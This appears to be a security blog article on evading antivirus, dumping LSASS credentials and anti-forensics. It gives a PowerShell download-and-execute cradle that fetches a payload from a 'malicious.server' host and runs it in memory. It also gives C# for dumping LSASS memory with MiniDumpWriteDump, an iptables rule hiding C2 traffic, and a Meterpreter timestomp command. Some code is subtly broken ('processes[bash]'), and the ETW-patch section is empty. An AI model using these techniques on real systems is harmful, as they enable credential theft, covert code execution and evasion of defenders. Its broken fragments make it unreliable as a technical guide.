Advanced AV Bypass Techniques: LSASS Dumping and CallBack Exploits

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Introduction

Bypassing antivirus (AV) and endpoint detection systems is a critical skill in both offensive security and red teaming. This article explores advanced techniques for evading AV, memory dumping LSASS (Local Security Authority Subsystem Service), and bypassing security mechanisms like SNORT, SURICATA, and Sysmon. We’ll also cover Mythic-C2 integration for command and control (C2) operations.

Learning Objectives

  • Understand how CallBack techniques evade AV and EDR solutions.
  • Learn in-memory LSASS dumping methods for credential extraction.
  • Explore bypass strategies for SIEM, forensic tools, and network traffic restrictions.

1. Bypassing AV with CallBack Techniques

Command (PowerShell):

$bytes = (New-Object Net.WebClient).DownloadData("http://malicious.server/payload.exe") 
$assembly = [System.Reflection.Assembly]::Load($bytes) 
$entryPoint = $assembly.GetType("Payload.Program").GetMethod("Main") 
$entryPoint.Invoke($null, @())

Step-by-Step Guide:

  1. Download Payload: The script fetches a payload in byte format from a remote server.
  2. In-Memory Execution: The payload is loaded directly into memory using reflection, avoiding disk writes.
  3. Invoke Payload: The `Main` method is executed without triggering traditional AV scans.

Why It Works:

  • Most AV solutions rely on static file scanning; in-memory execution bypasses this.
  • Obfuscation and reflection make signature-based detection difficult.

2. LSASS Dumping via In-Memory CallBack

Command (C via Mythic-C2):

Process[] processes = Process.GetProcessesByName("lsass"); 
IntPtr processHandle = OpenProcess(PROCESS_ALL_ACCESS, false, processes[bash].Id); 
MiniDumpWriteDump(processHandle, processes[bash].Id, dumpFile, MINIDUMP_TYPE.MiniDumpWithFullMemory, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero);

Step-by-Step Guide:

  1. Locate LSASS: Identify the LSASS process using GetProcessesByName.
  2. Open Handle: Gain full access to the process using OpenProcess.
  3. Dump Memory: Use `MiniDumpWriteDump` to extract credentials without touching disk.

Why It Works:

  • Bypasses Sysmon Event ID 10 (Process Access) by using indirect memory operations.
  • Avoids common forensic tools like ProcMon by minimizing detectable interactions.

3. Evading SIEM and Network Detection

Command (Traffic Redirection via iptables):

iptables -t nat -A OUTPUT -p tcp --dport 443 -j DNAT --to-destination 1.2.3.4:8443

Step-by-Step Guide:

  1. Redirect Traffic: Route outgoing HTTPS traffic through an intermediary server.
  2. Obfuscate Destination: The final C2 server remains hidden from network logs.

Why It Works:

  • SIEM tools often miss NAT-based redirections.
  • Traffic appears legitimate if the intermediary server is trusted.

4. Bypassing Sysmon Event IDs

Technique: Patch ETW (Event Tracing for Windows) to disable logging.

Command (PowerShell):



Why It Works:


    

  • Disables ETW, which Sysmon relies on for Event ID logging. 
    • 

  • Effective against Event IDs 7 (Image Loaded) and 11 (File Create). 
    • 



5. Anti-Forensic Measures


Command (Timestomp with Metasploit):


meterpreter > timestomp C:\target.exe -f C:\legit.exe 



Step-by-Step Guide:


    

  1. Clone Timestamps: Copy metadata (creation/modified times) from a legitimate file. 
    2. 

  2. Avoid Detection: Forensic tools rely on timestamps for anomaly detection. 
    3. 



What Undercode Say


    

  • Key Takeaway 1: Offensive security is shifting toward in-memory and CallBack-based techniques to evade modern defenses. 
    • 

  • Key Takeaway 2: Integrating bypass methods with C2 frameworks like Mythic-C2 makes attacks stealthier and harder to trace. 
    • 



Analysis:


The techniques discussed highlight the cat-and-mouse game between attackers and defenders. As AV and EDR solutions improve, attackers leverage deeper Windows internals and living-off-the-land binaries (LOLBins) to stay undetected. Future developments may focus on kernel-level exploits and AI-driven evasion, forcing defenders to adopt behavioral analysis and anomaly detection more aggressively.


Prediction


In the next 2–3 years, we’ll see:


    

  1. AI-Powered Bypasses: Attackers using generative AI to dynamically modify payloads. 
    2. 

  2. Hardware-Level Evasion: Exploiting CPU/GPU memory spaces to avoid user-mode hooks. 
    3. 

  3. Decentralized C2: Blockchain-based C2 servers to evade IP blacklisting. 
    4. 



Stay ahead by mastering these techniques—both for attack and defense.


IT/Security Reporter URL:


Reported By: Hassan Sohrabian – Hackers Feeds

Extra Hub: Undercode MoN

Basic Verification: Pass ✅


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